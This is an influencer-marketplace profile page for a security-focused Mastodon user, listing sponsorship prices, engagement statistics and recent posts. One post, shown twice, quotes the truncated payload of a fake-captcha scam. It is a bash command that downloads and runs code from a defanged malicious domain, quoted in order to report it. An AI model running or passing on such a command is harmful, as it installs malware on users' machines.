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Jan Schaumann

Jan Schaumann✓

Mastodon @jschauma@mstdn.social
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🔄 Data last refreshed 9 days ago
🤝

Make a deal with Jan Schaumann

🔒 Paid proposals held safely in escrow — released only when the work's approved.

📣Sponsored postOne disclosed post (toot) with your link and message. $17→ 🧵Sponsored threadA multi-post explainer or story — the fediverse rewards dept… $43→ 📦Product seeding / honest reviewSend me your product — I post a disclosed, honest take. Auth… $22→ 📌Pinned sponsored postA disclosed post pinned to the top of my profile for the mon… $51/mo→ 🔗Profile link (bio field)Your link in one of my profile metadata fields for the month… $26/mo→ 🔁Boost packageI boost (repost) your account's toots through the month — di… $34/mo→ 🏛️Instance / community sponsorshipSponsor the server I run — a sponsor line in the About/rules… $43/mo→ 🤝Mutual boost collabWe boost each other across instances — a value swap between … Swap→ 🎬UGC HireBranded content for your own channels & ads from $50→ 🎙️Podcast guest spotInvite Jan Schaumann onto your podcast (~45 min, remote) $33→

Every booking is a normal escrow-protected deal.

Followers
2.8K
Account age
3 yrs
🧰 Free analysis for Jan Schaumann
🕵️ Fake follower check 📊 Engagement rate 💰 What they charge

Known for

Now what the fresh fuck is this, then? Not today, Satan.487 views Now what the fresh fuck is this, then? Not today, Satan. Remember to update your libc for the new AI errno(2) values that just dropped: https://www.netmeister.org/blog/ai-errno.html179 views Remember to update your libc for the new AI errno(2) values that just dropped: https://www.netmeister.org/blog/ai-errno.html Periodic reminder that Carl Sagan knew back in 1995 what's coming. This quote from his "Demon-haunted World" has been popping up every few years ever since, and every time it feels more and more on the money than before.52 views Periodic reminder that Carl Sagan knew back in 1995 what's coming. This quote from his "Demon-haunted World" has been popping up every few years ever since, and every time it feels more and more on the money than before. Current #infosec status.47 views Current #infosec status.

📊 Post engagement

74
Avg engagement / post
2.7%
Engagement vs followers
Dec 2022
On Mastodon since

🔥 Top post: Now what the fresh fuck is this, then? Not today, Satan. · 487 likes + reposts

📊 Activity & format

Posting cadence
1.1 / week
A lower-frequency account — each post lands with more weight.
Content mix
Mostly images
Recent: 0 text · 10 image · 2 video.
Follower / following
6.3×
Follows 438 back. A strong ratio — an audience that follows them, not a follow-for-follow network.

Recent posts

View on Mastodon ↗
🔥 Top post Now what the fresh fuck is this, then? Not today, Satan. ★ 487
▶ IETF on #PQC pure ML-DSA vs hybrid Left: TLS WG Right: SSH WG ★ 7 ▶ Heyo! I'll be at #Troopers26 tomorrow morning to make fetch happen and talk about Q-Day (illustrated below). So get in losers, we're upgrading the internet! https://troopers.de/troopers26/talks/jz8z3d/ #pqc #cryptography ★ 6 Edit: there is no way this is an actual captcha, but I can't get it to serve me an actual payload, which threw me off. Reported the domain to Cloudflare and Namecheap fwiw. Payload is ``` /bin/bash -c "$(curl -A 'Mac OS X 10_15_7' -fsSL 'e… ★ 20 Periodic reminder that Carl Sagan knew back in 1995 what's coming. This quote from his "Demon-haunted World" has been popping up every few years ever since, and every time it feels more and more on the money than before. ★ 52 Shared the "'a's in strawberry' with my daughter; she countered with this. Strong "The closest is Kenya, which starts with a ‘K’ sound." vibes here. AI is going great. ★ 9 Remember to update your libc for the new AI errno(2) values that just dropped: https://www.netmeister.org/blog/ai-errno.html ★ 179 My students put a list of quotes from me on the CtF server when they finally captured it and I think I'm ok with that. ★ 36 Current xkcd 303 status. ★ 20 System Administration: Week 12: System Security II: From the Attack Life Cycle to Zero Trust In this video, we continue approaching System Security from an attacker's point of view by understanding their common processes, following the Att… ★ 3 Current #infosec status. ★ 47 System Administration: Week 12: System Security II: Defining a Threat Model In this video, we look at the concept of a Threat Model and how the attack economics may shift based on your adversaries capabilities and motives. We introduce the… ★ 17

🐘 Community & instance

Home server
mstdn.social
A large general-interest Mastodon server. On the fediverse the server a creator picks hints at their community — this one spans all topics.
✅ Link-verified
Verified link
Proved ownership of a website linked on their profile — Mastodon's green-check verification, a real identity signal rather than a paid badge.
On Mastodon since
Dec 2022
Joined in the Twitter-exodus wave of late 2022 — part of the migration that made Mastodon a real destination.

💡 Facts

🗓️Joined Mastodon in 2022 — 3 years ago.
👁️Averages 74 views per post.
📤Posts about 1.1× per week.

🕵️ Fake follower check

Estimated
89/100
Excellent Credibility score
99%
Real Real audience
Low Fake-follower risk
High Data confidence
  • Est. 99% real, active audience · Low fake-follower risk.
  • Strong engagement (~2.7% of followers engage each post) — an active, real audience.
  • Verified account.
  • Established account (3+ years old).

Heuristic estimate from engagement, follower ratios, account age & growth — a screening signal, not a guarantee.

About

Vell, I'm just zis guy, you know?

📸 Gallery

IETF on #PQC pure ML-DSA vs hybrid Left: TLS WG Right: SSH WG Heyo! I'll be at #Troopers26 tomorrow morning to make fetch happen and talk about Q-Day (illustrated below). So get in losers, we're upgrading the internet! https://troopers.de/troopers26/talks/jz8z3d/ #pqc #cryptography Edit: there is no way this is an actual captcha, but I can't get it to serve me an actual payload, which threw me off. Reported the domain to Cloudflare and Namecheap fwiw. Payload is ``` /bin/bash -c "$(curl -A 'Mac OS X 10_15_7' -fsSL 'eidr9j8a[.]questionstest[.]xyz/?ublib=be37fc43-792d-4d7a-90e7- Periodic reminder that Carl Sagan knew back in 1995 what's coming. This quote from his "Demon-haunted World" has been popping up every few years ever since, and every time it feels more and more on the money than before. Shared the "'a's in strawberry' with my daughter; she countered with this. Strong "The closest is Kenya, which starts with a ‘K’ sound." vibes here. AI is going great. Now what the fresh fuck is this, then? Not today, Satan. Remember to update your libc for the new AI errno(2) values that just dropped: https://www.netmeister.org/blog/ai-errno.html My students put a list of quotes from me on the CtF server when they finally captured it and I think I'm ok with that.

🔀 Audience overlap

Estimated

Estimated shared audience with similar creators — useful for avoiding overlap (or doubling down) when planning a campaign.

Nikita Lisitsa Nikita Lisitsa 18% Jennifer Mendelsohn Jennifer Mendelsohn 14% きりみあ 🔞🚸 きりみあ 🔞🚸 13% Mongabay Mongabay 12% Zhi Zhu 🕸️ Zhi Zhu 🕸️ 11% Stephan Dörner Stephan Dörner 10%

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